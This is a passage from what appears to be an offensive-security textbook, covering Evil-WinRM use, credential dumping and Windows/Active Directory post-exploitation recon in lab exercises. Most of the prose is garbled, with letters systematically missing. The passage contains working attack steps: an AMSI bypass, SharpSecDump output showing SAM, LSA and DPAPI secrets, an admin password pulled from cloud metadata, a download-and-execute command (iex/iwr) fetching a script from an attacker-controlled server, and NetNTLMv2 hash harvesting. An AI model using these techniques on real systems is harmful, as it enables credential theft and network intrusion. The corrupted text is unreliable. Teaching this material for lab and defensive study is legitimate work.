be of C# binaies ha wee bui on he Ui mahine and hen ansfeed ove o ou
Kai box duing depoymen. The -s fag speifies a sip dieoy oaion. We wi be
340
abe o oad any sips fom his dieoy inside Evi-WinRM. We oud make ou own
dieoy and pu a on of diffeen sips in hee, bu fo his exampe, we wi use jus
he PoweSpoi eon modues ha aeady exis on Kai.
The sips don’ oad auomaiay, so one we have ou she, we an e wha sips
ae oaded by yping menu:
*Evil-WinRM* PS C:\Users\target\Documents> menu
<trimmed for brevity>
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
We see he fou ommands ha ae auomaiay inuded in he oo by defau.
D-Loade, Donu-Loade, and Invoke-Binay ae diffeen ways of exeuing binaies.
Bypass-4MSI bypasses AMSI (Windows Animawae San Inefae). AMSI aows
Windows seuiy oos o ge addiiona insigh ino PoweShe and ohe oaions o
dee mawae a unime, inuding poeniay maiious PoweShe ode. Wih some
oos, his wi be equied, bu in ou ase, Windows Defende has aeady been disabed
so ha he oupu is onsisen aoss pah eves.
To un a sip, we ype he sip name and hen an un menu again o show he
updaed oo is. Hee, we wi un he PoweView.ps1 sip:
*Evil-WinRM* PS C:\Users\target\Documents> PowerView.ps1
*Evil-WinRM* PS C:\Users\target\Documents> menu
<trimmed for brevity>
[+] Export-PowerViewCSV
[+] field
[+] Find-ComputerField
[+] Find-ForeignGroup
[+] Find-ForeignUser
[+] Find-GPOComputerAdmin
[+] Find-GPOLocation
[+] Find-InterestingFile
The oupu when you un hese ommands wi be muh onge, and beause we don’
have a fu session on he sysem, we won’ be abe o do some aiviies on he domain.
Some ommands equie ha a use have ikes o hashes ahed in he session. We an,
howeve, un ommands oay on he mahine. Le’s aemp o ge he use daa fom
AWS fo his sysem:
WinRM* PS C:\> Invoke-RestMethod -uri http://169.254.169.254/latest/user-data | fl
powershell :
$admin = [adsi]("WinNT://./administrator, user")
$admin.psbase.invoke("SetPassword", "GrayHatHack1ng!")
We an see fom he oupu ha he peson who depoyed his sysem se up a pass-
wod hange as he box omes onine. In his ase, he passwod fo he Admin use is
“GayHaHak1ng!”. We woud now be abe o og in as he Adminisao use even if
341
he age use hanged he passwod. We an aso y o ge his daa diey fom he
sysem using one of ou binaies. We an a hese wih he Invoke-Binary mde buid
ino Evi-WinRM.
*Evil-WinRM* PS C:\> Invoke-Binary Binaries/SharpSecDump.exe "-target=localhost"
[*] RemoteRegistry service started on localhost
[*] Parsing SAM hive on localhost
[*] Parsing SECURITY hive on localhost
[*] Successfully cleaned up on localhost
---------------Results from localhost---------------
[*] SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:19d56dfa8872c603984c44ff96a89a6c
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
evilhacker:1008:aad3b435b51404eeaad3b435b51404ee:4ddec0a4c1b022c5fd8503826fbfb7f2
[*] Cached domain logon information(domain/username:hash)
GHH.LOCAL/target:$DCC2$10240#target#01d67d89fe6b9735f1f6b9c363050657
[*] LSA Secrets
PART III
[*] $MACHINE.ACC
ghh.local\ws20$:aad3b435b51404eeaad3b435b51404ee:3c346f300ce7c982682e66dc85334c94
[*] DPAPI_SYSTEM
dpapi_machinekey:9e9aab9478b2012bce53b8e9fa3669d93598b24f
dpapi_userkey:38a528964f3a175b1d7c958d8e88089221de290c
[*] NL$KM
NL$KM:2e74ed5562cb0c23833dc65651ceb29363bc5fc9598b25db1ffcf9a226503160c467c4473bead7
01869b673170f930a14999f2296d1985d4f201bec065261920
---------------Script execution completed---------------
Even hough we speified he pah whee ou binay ives, we si have o use he fu
pah o ge o he binay fom whee evi-winm was aunhed (in his ase, he Binaies
dieoy). This oo dumps hashes ou of memoy, and we need o speify one agu-
men—he hos o onne o. If we had muipe agumens, we woud sepaae hem
in he quoes wih ommas o e he pogam know eah agumen ha was going o be
aed. The esuing oupu has boh he hashes fom he oa sysem ike he Adminis-
ao use, bu aso he ahed edenias on he sysem fo he age use. We now have
hashes we an use if we need o fo Adminisao, as we as he Adminisao passwod
ha was se wih he AWS use daa, and he ahed hash of uses on he sysem ha we
oud aemp o ak.
Summary
In his hape, we ooked a a numbe of ways o ge ono a age sysem wihou
using an expoi. We ooked a seaing and aking edenias using Responde o
spoof LLMNR and NeBIOS Name Sevies esponses. This aowed us o gahe
edenias ha wee passed using NeNTLM, and hen we aked hose edenias
wih John he Rippe.
We ooked a diffeen ways o un ommands as we wih he edenias we ap-
ued. This inudes using Winexe, whih gives us a emoe ineaive she. We aso used
WMI o quey sysem infomaion and un ommands. Wih WinRM, we wen beyond
simpy aunhing shes o being abe o exeue PoweShe sips emoey as we as
binaies fom ou oa sysem.
342
Whie doing his, we wee abe o “ive off he and” and use bui-in oos and po-
esses on hese age sysems. This edues he isk of being augh and edues he
possibiiy we’ eave somehing bad on a viim sysem.
For Further Reading

About WMI dos.miosof.om/en-us/windows/win32/wmisdk/abou-wmi
hashcat Hash Type Reference hasha.ne/wiki/doku.php?id=exampe_hashes
Pass the Hash Toolkit gihub.om/by3b33d3/ph-ooki
Rainbow Tables en.wikipedia.og/wiki/Rainbow_abe
Responder Blog g-auen.bogspo.om/
Responder GitHub Repository gihub.om/gandx/Responde
Evil-WinRM Repository gihub.om/Hakpayes/evi-winm
Windows Remote Management dos.miosof.om/en-us/windows/win32/winm/
poa
Winexe Tools Page oos.kai.og/mainaining-aess/winexe
WMI Class Lists msdn.miosof.om/en-us/ibay/aa394554(v=vs.85).aspx
WMI Reference msdn.miosof.om/en-us/ibay/aa394572(v=vs.85).aspx
Reference
1. Miosof, “Win32_LogonSession ass,” Augus 1, 2017, hps://msdn.miosof
.om/en-us/ibay/aa394189(v=vs.85).aspx
Post-Exploitation in
Modern Windows
CHAPTER
17
Environments
• User recon
• System recon
• Domain recon
• Local privilege escalation
• Active Directory privilege escalation
• Active Directory persistence
Pos-xploiaio is a impoa sp i a aack. Wh w gai accss o a sysm

hough phishig o xploiaio, fquly h hos w gai accss o is o h hos
ha is ou d goal. Bcaus of his, w d o b abl o pfom co o uss, hoss,
ad Aciv Dicoy objcs o hlp idify pahs wh w ca gai pivilgs ad
maiai ou accss o h wok.
Post-Exploitation
I pvious chaps, w hav covd som ways o g io sysms, ow w d o
cov wha o do af w’ succssful. Pos-xploiaio compasss all h sps af
iiial xploiaio. This icluds addiioal co, addiioal xploiaio, pivilg
xploiaio, ad mo. A lo of h ifomaio availabl shows you how o scala,
dump hashs, ad mov laally i vioms ha a’ usig som of h mod-
 chologis availabl o piss. Tools lik h Local Admiisao Passwod
Soluio (LAPS) fom Micosof hlp adomiz Admiisao passwods, ad mos
vioms a’ allowig uss o b admiisaos o hi Dskop aymo.
Kowig his, w d o udsad how o hadl som of h ky lms of
pos-xploiaio: local ad Aciv Dicoy (AD) co, scalaig pivilgs o boh
h local sysm ad i h domai, ad gaiig psisc o boh a local machi ad
wihi AD islf. To do his, w will us a combiaio of PowShll ad C# biais o
idify vulabl svics, pmissios, ad cofiguaios.
343
344
Host Recon
Af iiial accss o a ag, h fis sp is ypically gig som siuaioal awa-
ss. I is ciical o idify wha us you a i h sysm as, wha pivilgs ha us
has, ad wha h poial scalaio ad psisc opios a. This co may also
povid ifomaio abou wha uss hav accss o.
O of h misaks may hacks mak is o go saigh fo Domai Admi i a
viom. This highly pivilgd Aciv Dicoy goup is ga, bu also fquly
highly moiod. I’s o ucommo fo h us who you g iiial accss as o hav
suffici pivilgs o ag oh sysms ad oh daa o o povid addiioal laal
movm possibiliis, bu wihou fis pofilig h hos ad us, hs higs may
b missd.
User Recon
Oc you hav accss o a sysm, h fis sp is ypically figuig ou who you a i as.
Th a a fw ways o do his, bu h mos simpl is wih h whoami commad. This
commad has a lo of diff opios o viw daa. L’s walk hough hm.
NOTE Lab 17-1 uses the AWS cloud with the setup for Chapter 17. To access
this lab, clone the git repository at https://github.com/GrayHatHacking/
GHHv6/, follow the setup instructions in the cloudsetup directory, then
follow the instructions in the ch17 folder to set up the lab. Once this is done,
the IP addresses for the systems will be in the ansible directory under the
inventory folder.
Lab 17-1: Using whoami to Identify Privileges
I his lab w a goig o us h whoami commad o idify us ighs ad pivi-
lgs. Bgi by cocig o h ag machi as us GHH\ag wih passwod
Wi2021!. Oc you’ loggd i, op up a cmd.x pomp. Nx, yp whoami
ad pss enter.
C:\Users\target>whoami
ghh\target
W ca s ha w a loggd i as h ag us i h GHH domai. Alhough
w loggd i o his machi, h will b cass wh w hav compomisd a machi
ad w do’ kow who w a i as. I his cas, w ow kow h domai ad h
usam. Wh w add h /user flag, w ca also g h us’s SID, which will giv us
boh h domai SID ad h us poio.
C:\Users\target>whoami /user
USER INFORMATION
----------------
User Name SID
========== ==============================================
ghh\target S-1-5-21-3262898812-2511208411-1049563518-1111
Chapter 17: Post-Exploitation in Modern Windows Environments
345
Th us SID lls us a fw higs: h fis is h domai SID, which will b usful i
aacks lik Kbos gold ick aacks. Th domai poio is all of h SID sig up
uil h las dash. I his cas, h domai SID is S-1-5-21-3262898812-2511208411-
1049563518 ad h us ID is 1111. Uss blow 1000 a sicd o pivilgd uss,
ad uss abov 1000 a omal uss. Ths uss may hav addiioal pivilgs, bu
his us is o pa of h buil-i pivilgd us goups i h domai.
W ca also look a h us’s Disiguishd Nam (DN), which is h idiy ha
maks i uiqu i Aciv Dicoy. This will giv us h fully qualifid DN of h
domai as wll as how h us is placd wihi h ogaizaio:
C:\Users\target>whoami /fqdn
CN=target,CN=Users,DC=ghh,DC=local
H w ca s h us’s domai is DC=ghh,DC=local (o ghh.local fo sho). W also
ca s ha h us is i h Uss coai wihi h domai. Th us is’ ogaizd
PART III
io a pivilgd uss coai o ayhig ls, so his us may jus b a gula us
of h domai. L’s ak a look a goups x:
C:\Users\target>whoami /groups /FO LIST
GROUP INFORMATION
-----------------
Group Name: Everyone
❶Type: Well-known group
SID: S-1-1-0
Attributes: Mandatory group, Enabled by default, Enabled group
Group Name: BUILTIN\Remote Desktop Users

➋Type: Alias
SID: S-1-5-32-555
Group Name: BUILTIN\Remote Management Users

Type: Alias
SID: S-1-5-32-580
Group Name: NT AUTHORITY\Authenticated Users
Type: Well-known group
SID: S-1-5-11
Group Name: NT AUTHORITY\This Organization

Type: Well-known group
SID: S-1-5-15
Group Name: GHH\MA-owe-admingroup
Type: Group
SID: S-1-5-21-3262898812-2511208411-1049563518-3763
Group Name: GHH\RA-sto-distlist

➌Type: Group
SID: S-1-5-21-3262898812-2511208411-1049563518-4031
346
Wh lookig a hs goups, w s boh local goups ad domai goups. W
s a fw diff yps of goups, hough. Wll-kow goups ➊ a goups ha
map o documd SIDs i a viom. Goups lik h EVERYONE goup
ad h Admiisaos goup, which hav h sam SID acoss all sysms, fall io
his goup yp.
Th scod goup yp w s is Alias ➋. Th Alias goup yps a ypically mappd
o pivilgs o h sysm ad a aliass o h SID ha’s usd o ga hs. Rmo
Dskop, Rmo Maagm Uss, ad oh ims ha ga spcific sysm ighs
by mmbship of h goup ypically fall io his goup yp.
Th hid goup yp is Goup ➌. This is ypically a local o Aciv Dicoy goup
ha ca b a scuiy o disibuio goup. W s ha domai goups a pfixd wih
h sho am of h domai (GHH) alog wih h goup am ad h SID. If a us
has goups i diff domais, havig h SID will hlp map h domai SIDs fo ach
domai h us has pivilgs o.
Th x sp is o look a h pivilgs h us has o h sysm. Ths pivi-
lgs idica how h us ca iac wih h sysm. Th abiliy o dbug pogams,
pfom admiisaio asks, ad oh asks ca b dmid wih h /priv flag:
C:\Users\target>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
H w s ha h us oly has wo pivilgs. Th SeChangeNotifyPrivilege is
abld, ad h oh pivilg is disabld. Th abld pivilg mas ha h us
ca aviga h fil sysm wihou chckig ach fold o dmi if hy hav
“Tavs Fold” spcial pmissios; isad, h sysm jus chcks o s if h us
has ad accss o h dicoy bfo pocdig. This us has vy limid pmissios,
so may of h icks fo pivilg scalaio may b difficul o pfom.
NOTE There is a huge list of potential privileges. We will be looking at

some later in the chapter. When you’re assessing why something does or
doesn’t work, it can be helpful to check the privileges assigned to a user and
reference their meaning here: https://docs.microsoft.com/en-us/windows/
security/threat-protection/security-policy-settings/user-rights-assignment.
Lab 17-2: Using Seatbelt to Find User Information
Now ha w kow wha h us’s pivilgs a i h cox of h sysm, w ca look
o s wha oh ifomaio w migh b abl o fid o h sysm abou h us. This
ca b vyhig fom wb co o SSH kys. Som of his w ca fid by bowsig
347
aoud o h sysm, which is dfiily commdd, bu som of i quis lookig
aoud i h gisy ad oh fils. This would b im-cosumig o do maually,
bu luckily h Sabl ool is availabl o hlp fid addiioal ifomaio.
To bgi wih, whil sayig cocd o h ag sysm, op a SSH cocio
o h Kali sv. W a goig o s up a wb sv o hlp us u ools. Oc you a
cocd, xcu h followig sps:
└─$ cd SharpPack/PowerSharpBinaries
┌──(kali kali)-[~/SharpPack/PowerSharpBinaries]
└─$ python3 -m http.server 8888
O h ag sysm, w a goig o load up PowShll ad iclud h Ivok-
Sabl.ps1 modul fom h ShapPack posioy ha is clod i h hom dicoy:
PART III
C:\Users\target>powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\target> iex (iwr http://10.0.0.40:8888/Invoke-Seatbelt.ps1)
This loads h Ivok-Sabl modul, which will allow us o u h C# Sabl
biay fom PowShll. Th Sabl ool hlps us gai addiioal isigh io wha is
isalld o a sysm ad how i is cofigud. Nx, w will xcu Sabl ad ask
i o pofil us ifomaio. W will also add a -q flag o ask i o o pi ba
ifomaio.
PS C:\Users\target> Invoke-Seatbelt -Command '-group=user -q'
====== ChromePresence ======
====== CloudCredentials ======
<snipped>
====== dir ======
LastAccess LastWrite Size Path
16-06-21 21-08-01 527B C:\Users\Default\Desktop\EC2 Feedback.website
16-06-21 21-08-01 554B C:\Users\Default\Desktop\EC2 Microsoft Windows
Guide.website
16-10-18 16-10-18 0B C:\Users\Default\Documents\My Music\
<snipped>
====== ExplorerMRUs ======
Explorer GHH\target 2021-08-02 C:\
Explorer GHH\target 2021-08-01 C:\ProgramData\Amazon\EC2-Windows\AWS.EC2.
WindowsUpdate
Explorer GHH\target 2021-08-01 C:\ProgramData\Amazon\EC2-Windows\AWS.EC2.
WindowsUpdate\AWS.EC2.WindowsUpdate.log
Explorer GHH\target 2021-08-01 C:\Users\target\Desktop\WindowsUpdate.log
====== ExplorerRunCommands ======
<snipped>
====== SecPackageCreds ======
Version : NetNTLMv2
Hash :
target::GHH:1122334455667788:0599106953b283c2131921ea15987b09:01010000000000002c5d
65c65989d70124625896a4a4c652000000000800300030000000000000000000000000200000dca9b1
a3f1445539a6248646542fe5b7818352570fd6518e3f8210eb1644d51f0a0010000000000000000000
0000000000000000090000000000000000000000
348
Sabl gos hough diff aas of h us’s pofil ad hlps idify cly
accssd fils, URLs ha hav b bookmakd, folds i h us’s hom dicoy,
ad h fially hi NTLMv2 cdials o cack offli if you do’ alady kow
hi passwod. Th is a lo mo h, bu hs a som of h high pois. Ths
ims will giv you som isigh io h us cox ad hi pivilgs, mmbship,
ad accss. Udsadig h us’s ighs ad pivilgs may hlp you dmi if you
hav h accss you d o us ag daa o sysms.
System Recon
Now ha w hav ifomaio abou h us, w should look a h hos islf. Hoss
fquly hav daa ha ca hlp idify h gal scuiy posu of sysms o h
wok. Addiioally, isalld sofwa packags migh giv us poial pahways fo
scalaio ad laal movm. Posu lms big usd, such as aivius sofwa,
EDR poducs, fiwall saus, UAC sa, ad so o will giv us a ida of wha w hav
o do fo vasio houghou h wok.
W ca sa off wih som basic siuaioal awass wih PowShll ad h mov
io mo obus ools. This will allow us o kp as qui as possibl, ad h as w
figu ou mo abou h sysm, w ca g loud basd o h cools w s i plac.
Lab 17-3: System Recon with PowerShell
Th fis hig w wa o chck is o s if AMSI is abld. This will b a good idica-
io of whh o o w ca us addiioal oolig i mmoy wihou i big s.
Fom a PowShll pomp as ou ag us, w issu h followig commads:
PS C:\Users\target> $clsids = gci HKLM:\Software\Microsoft\AMSI\Providers\ |
>> %{ ($_.Name -split "\\") | select -last 1 }
PS C:\Users\target> $clsids | %{ ls HKLM:\Software\Classes\CLSID\$_}
Hive: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\
{2781761E-28E0-4109-99FE-B9D127C57AFE}
Name Property
---- --------
Hosts (default) : Scanned Hosting Applications
Implemented Categories
InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows
Defender\Platform\4.18.2107.4-0\MpOav.dll"
ThreadingModel : Both
Th fis li uss h Get-ChildItem cmdl o g h povids i h AMSI Povid-
s gisy lis. This coais a lis of Class IDs (CLSIDs) ha hav gisd hmslvs
as AMSI povids. Wh w look up h CLSIDs i h Classs CLSID gisy, w s
ha h CLSID ha ds i 7AFE is a povid fo Widows Dfd. By quyig h
CLSIDs ha hav gisd as AMSI povids, w ca ll if ayhig is usig AMSI.
Sic w do g a sul (i his cas, Widows Dfd), ha mas AMSI is abld.
Nx, l’s chck o s wha policis migh b i plac. Policis such as ScipBlockLog-
gig, which will log h cos of h commads ha w u, ModulLoggig, which
will log h moduls ha PowShll loads, ad TascipioLoggig, which will log vy-
hig ha happs i a sssio ad h oupu sigs o a fil ca giv away ou psc.
349
Wh w chck fo hs, w ca s upfo wha is saf o u ad wha w d o s
up bypasss fo:
PS C: > ls HKLM:\Software\Policies\Microsoft\Windows\Powershell -ErrorA Ignore
PS C:\Users\target>
Wh w u h commad, w do’ g ay ifomaio back. This is a good idica-
io ha h a’ ay spcial loggig sigs s ad ha h dfaul opios a big
usd. If gisy kys did xis i his locaio, w would hav o dmi which os
w s, bu h safs hig o do a his poi would b ih a dowgad aack usig
PowShll 2.0 o a bypass chiqu.
To dmi if w ca dowgad, l’s chck o s wha PowShll vsios a
isalld:
PS C:\Users\target> Get-ItemProperty
PART III
HKLM:\Software\Microsoft\PowerShell\*\PowerShellEngine |
>> select PowerShellVersion
PowerShellVersion
-----------------
2.0
5.1.14393.0
W ca s ha vsio 2.0 ad 5.1 of h gis a isalld. I od fo
PowShll 2.0 o wok, hough, w also d o mak su h is a .NET uim
isalld fo vsio 2. Th uim w d o look fo is v2.0.50727, which w ca
do i h Micosof.N fold i h Widows dicoy:
PS C:\Users\target> gci -include system.dll -recur
$env:windir\Microsoft.Net\Framework\v*
Directory: C:\Windows\Microsoft.Net\Framework\v4.0.30319
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/2/2020 4:03 PM 3556616 System.dll
W ca s ha h oly locaio ha has a valid sysm.dll o load, which mas
ha i’s h oly full isall, is v4 of h famwok. This mas w ca’ dowgad
o vsio 2.0 o skip loggig. If loggig w abld, w would d o us a bypass
chiqu o disabl hm.
Now ha w kow addiioal co will o igg loggig-basd dcios, l’s
ak a look a som of h bas ifomaio abou h opaig sysm. To viw ifoma-
io abou h compu islf, w ca us h Get-ComputerInfo cmdl. I has a lo of
daa, bu l’s look a h Widows ifomaio fis:
PS C:\Users\target> Get-ComputerInfo -Prop Windows*
WindowsBuildLabEx : 14393.4104.amd64fre.rs1_release.201202-1742
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerDatacenter
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 8/1/2021 11:44:04 PM
WindowsProductId : 00376-40000-00000-AA753
WindowsProductName : Windows Server 2016 Datacenter
WindowsRegisteredOrganization : Amazon.com
WindowsRegisteredOwner : EC2
WindowsSystemRoot : C:\Windows
350
This shows us ha w a usig Widows 2016 Daac mod ad a gisd o
Amazo EC2. W also hav h isall da of h sysm ad wh h Widows dic-
oy is locad. This givs us a bi of siuaioal awass bcaus w kow ha w a
i h cloud basd o his, ad o a a o-pmiss locaio.
Aoh hig w will wa o chck is whh o o DvicGuad is abld.
DvicGuad is a Widows fau ha hlps pv malwa by suig ha oly
kow-good cod ca u o h sysm. This mas ha ay cod w xcu will hav
o b livig-off-h-lad biais (LOLBis). Luckily, h Get-ComputerInfo cmdl
ca hlp us agai:
PS C:\Users\target> Get-ComputerInfo -Property DeviceG*
DeviceGuardSmartStatus : Off
DeviceGuardRequiredSecurityProperties :
DeviceGuardAvailableSecurityProperties :
DeviceGuardSecurityServicesConfigured :
DeviceGuardSecurityServicesRunning :
DeviceGuardCodeIntegrityPolicyEnforcementStatus :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :
W s ha DvicGuad is off, so if w ca bypass AV, w should b abl o g o-
aiv biais o u o h sysm.
Now ha w hav som awass of wha w ca ad ca’ g away wih, l’s g
som mo ifomaio wih Sabl.
Lab 17-4: System Recon with Seatbelt
Sabl ca also gah ifomaio abou hos cofiguaio opios. Th issus w
fquly ca abou a som of h os covd pviously, such as PowShll co-
figuaios, AMSI saus, OS ifomaio, ad cofiguaio. Howv, w also wa o
kow abou wha dfsiv cools a abld, ay isig pocsss uig, logi
sssios ps so ha w kow if w a’ alo o h sysm, ad oh aas ha
Sabl dmis may hav isig daa.
Bfo, w a h us goup of commads. This im w will u h sysm goup
of commads:
PS C:\Users\target> Invoke-Seatbelt -Command '-group=system -q'
====== AMSIProviders ======
GUID : {2781761E-28E0-4109-99FE-B9D127C57AFE}
ProviderPath : "C:\ProgramData\Microsoft\Windows
Defender\Platform\4.18.2107.4-0\MpOav.dll"
====== AntiVirus ======
Cannot enumerate antivirus. root\SecurityCenter2 WMI namespace is not
available on Windows Servers
====== AppLocker ======
[*] AppIDSvc service is Stopped
[*] Applocker is not running because the AppIDSvc is not running
[*] AppLocker not configured
====== ARPTable ======
<snipped>
351
W s a lo of daa h abou h sa of h sysm, som of which w’v s
alady wihou Sabl. Howv, Sabl povids his ifomaio all i o plac
isad of quiig us o dig io diff locaios wih PowShll.
W ca also look a spcific ims. O aspc ha is hlpful o kow abou a sysm
is whh o o UsAccouCool (UAC) is abld ad wha h sigs fo i a.
This will hlp us idify whh o o pivilgd uss qui ay addiioal bypasss
o xcu cod, such as addig svics o uss o scalaig o sysm:
PS C:\Users\target> Invoke-Seatbelt -Command 'UAC -q'
====== UAC ======
ConsentPromptBehaviorAdmin : 5 - PromptForNonWindowsBinaries
EnableLUA (Is UAC enabled?) : 1
LocalAccountTokenFilterPolicy : 1
FilterAdministratorToken : 0
[*] LocalAccountTokenFilterPolicy == 1. Any administrative local account
can be used for lateral movement.
PART III
W s ha ha UAC is abld. If somo is o u a o-Widows biay,
Widows will pomp h us o allow h biay o u. If w w usig a C2 chal
o accss his sysm, w would’ b abl o s hs pomps. This lls us w d o
fid a way o scala pivilgs o avoid big pompd.
Now ha w hav som udsadig abou wha h hos posu is, l’s ak a look
o dmi wh w a i Aciv Dicoy.
Domain Recon
Almos all sysms ha a pa of a pis viom will b pa of Aciv Dic-
oy (AD). AD is a dicoy svic ha kps ack of uss, goups, compus, poli-
cis, sis, ogaizaioal sucus, ad mo. Each objc has aibus ad scuiy
ifomaio ha dfis h objc ad who ca iac wih i. This dicoy is h
basis fo AD Domais (goupigs of hs objcs kp o a s of svs) ad Foss
(mulipl domais ha hav iopabiliy ad us laioships bw hm).
TIP Active Directory (AD) has a lot of components and can be difficult to
understand. If you are unfamiliar with AD, Microsoft has a good reference for
getting started: https://docs.microsoft.com/en-us/windows-server/identity/
ad-ds/get-started/virtual-dc/active-directory-domain-services-overview.
Once you are familiar with some of the basics, come back and we’ll dig
deeper into how to interact with AD through PowerShell and other tools.
Wh w g io a viom, w d o kow a fw impoa higs. W d
o kow who w a wihi h viom ad wha ou goups a. W also d o
kow who h admiisaos a. W migh wa o kow abou how big h vio-
m is, whh o o i’s dividd io sis, ad wha h ogaizaioal sucu looks
lik. Fially, w may wa o kow wha Goup Policy Objcs (GPOs) xis ad wh
hy a likd. Ths ims will giv us a b udsadig of how h AD Domai
is s up ad wh w migh wa o look fo scalaio ad psisc opios.
352
Lab 17-5: Getting Domain Information with PowerShell
W d o kow h basics of h domai. W saw som of his fom h us ad com-
pu pofilig ali i h chap. Whil h ActiveDirectory PowShll modul ca
b hlpful, i is fquly o isalld, so l’s ak a look a how o do his usig h
Aciv Dicoy Svic Ifac APIs wihi PowShll. Ths APIs a availabl o all
Widows sysms ad wo’ qui isallig addiioal moduls ha migh giv us away.
To bgi wih, l’s ak a look a h domai ifomaio:
PS C:\Users\target> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Forest : ghh.local
DomainControllers : {EC2AMAZ-TBKC0DJ.ghh.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
RidRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
InfrastructureRoleOwner : EC2AMAZ-TBKC0DJ.ghh.local
Name : ghh.local
W ca s a fw pics of ciical daa h. Th am of h domai is ghh.local,
ad o domai cooll (DC) is lisd as wll, EC2AMAZ-TBKC0DJ.ghh.local. Th
DomaiModLvl is 7, which cospods o Widows 2016 fucioal lvl. Th
fucioal lvl is impoa bcaus scuiy faus may wok diffly a diff
fucioal lvls.
Nx, l’s ak h ifomaio w go fom h whoami /user commad ad look a
wha ifomaio is i AD abou ou us:
PS C:\Users\target> whoami /fqdn
CN=target,CN=Users,DC=ghh,DC=local
PS C:\Users\target> [adsi]"LDAP://CN=target,CN=Users,DC=ghh,DC=local" |
>> select cn,memberof,sAMAccountName,managedObjects | fl
cn : {target}
memberof : {CN=RA-sto-distlist,OU=T2-Roles,OU=Tier
2,OU=Admin,DC=ghh,DC=local,
CN=AL-Yim-admingroup,OU=Devices,OU=BDE,OU=Tier
2,DC=ghh,DC=local,
CN=GI-ENA-distlist,OU=AZR,OU=People,DC=ghh,DC=local,
CN=DE-con-distlist,OU=Test,OU=GOO,OU=Tier 2,DC=ghh,DC=local...}
sAMAccountName : {target}
managedObjects : {CN=GA-majaivars-distlist,OU=ServiceAccounts,OU=GOO,OU=Stage,DC
=ghh,DC=local, CN=VI-sam-distlist,OU=Test,OU=FIN,OU=Tier
1,DC=ghh,DC=local,
CN=VI-ang-distlist,OU=TST,OU=Stage,DC=ghh,DC=local,
CN=CH-jua-admingroup,OU=AZR,OU=Tier 2,DC=ghh,DC=local...}
Fom hs suls, w ca s h goups ou us is pa of as wll as h objcs h
us maags. Ths will giv us som addiioal isigh abou h yps of higs h
us has b giv pmissio o basd o hi goup mmbships, ad h objcs
hy maag hlp idify h accss hy ca povisio fo oh accous.
Wih a basic udsadig of ou us ad h domai popis, l’s look dp
a h layou by gig a lis of h Ogaizaioal Uis (OUs) ha mak up AD.
353
Ths a fquly dscipiv ad will hlp us udsad wh o look fo is-
ig objcs.
PS C:\Users\target> $Domain = New-Object System.DirectoryServices.DirectoryEntry
>> $Searcher = New-Object System.DirectoryServices.DirectorySearcher
>> $Searcher.SearchRoot = $Domain
>> $Searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
>> $Searcher.Filter = "(objectCategory=organizationalUnit)"
>> $OUs = $Searcher.FindAll()
>> $OUs | %{ $_.Properties["distinguishedName"]} | select -first 5
OU=Domain Controllers,DC=ghh,DC=local
OU=Admin,DC=ghh,DC=local
OU=Tier 0,OU=Admin,DC=ghh,DC=local
OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=ghh,DC=local
OU=T0-Servers,OU=Tier 0,OU=Admin,DC=ghh,DC=local
Fom h w s h buil-i Domai Coolls OU, bu w also s a umb of
Admi OUs ad sd OUs ud hos. Ths a higs w would ypically wa o
PART III
udsad b. L’s look a h oo of h Admi OUs wih PowShll.
PS C:\Users\target> $ou = [adsi]"LDAP://OU=Admin,DC=ghh,DC=local"
PS C:\Users\target> $ou.ObjectSecurity.Access
>> | Where ActiveDirectoryRights -like "*GenericAll*"
>> | Select IdentityReference, AccessControlType,ActiveDirectoryrights
>> | fl
IdentityReference : NT AUTHORITY\SYSTEM
AccessControlType : Allow
ActiveDirectoryRights : GenericAll
IdentityReference : GHH\Domain Admins

IdentityReference : GHH\SC-266-distlist
W ca s ha i addiio o Domai Admis ad SYSTEM, h SC-266-dislis
goup also has ighs o his goup. So, if w ca fid a us i ha goup, w could us
ha us o maipula objcs i ha OU. L’s s who is i ha goup:
PS C:\Users\target> ➊$Domain = New-Object System.DirectoryServices.DirectoryEntry
>> ➋$Searcher = New-Object System.DirectoryServices.DirectorySearcher
>> $Searcher.SearchRoot = $Domain
>> ➌$Searcher.Filter = "(&(objectCategory=group)(cn=SC-266-distlist))"
>> $group = $Searcher.FindOne()
PS C:\Users\target> ➍$group.Properties["member"]
CN=KA-mat-admingroup,OU=ServiceAccounts,OU=OGC,OU=Tier 1,DC=ghh,DC=local
CN=EVA_SHAW,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=ghh,DC=local
CN=LAUREL_MANNING,OU=AZR,OU=Stage,DC=ghh,DC=local
CN=KATRINA_COTTON,OU=ServiceAccounts,OU=TST,OU=Stage,DC=ghh,DC=local
NOTE Because the information for each AD deployment has been

randomly manipulated by BadBlood, your groups, users, and membership
may be different.
354
W bgi wih usig System.DirectoryServices o g h domai ➊ w a culy
i. W d o ca a DirectorySearcher objc ➋ o sach Aciv Dicoy. This
objc has all of h mhods w will d o pfom ou sach. Nx, w d o g-
a a Lighwigh Dicoy Accss Poocol (LDAP) sach ha will hav ou ifoma-
io. Th sach ➌ uss h & opao o joi wo diff sach ms: h objc yp
ad h Commo Nam (CN) of h objc w a sachig fo. Fially, af w g h
im w a sachig fo, w ca look a h popis ➍ of ha im o g h mmbs
of h goup. This will hlp us i dmiig who o look fo la fo scalaio.
Alhough pfomig all of hs quis wihou usig addiioal moduls is a hady
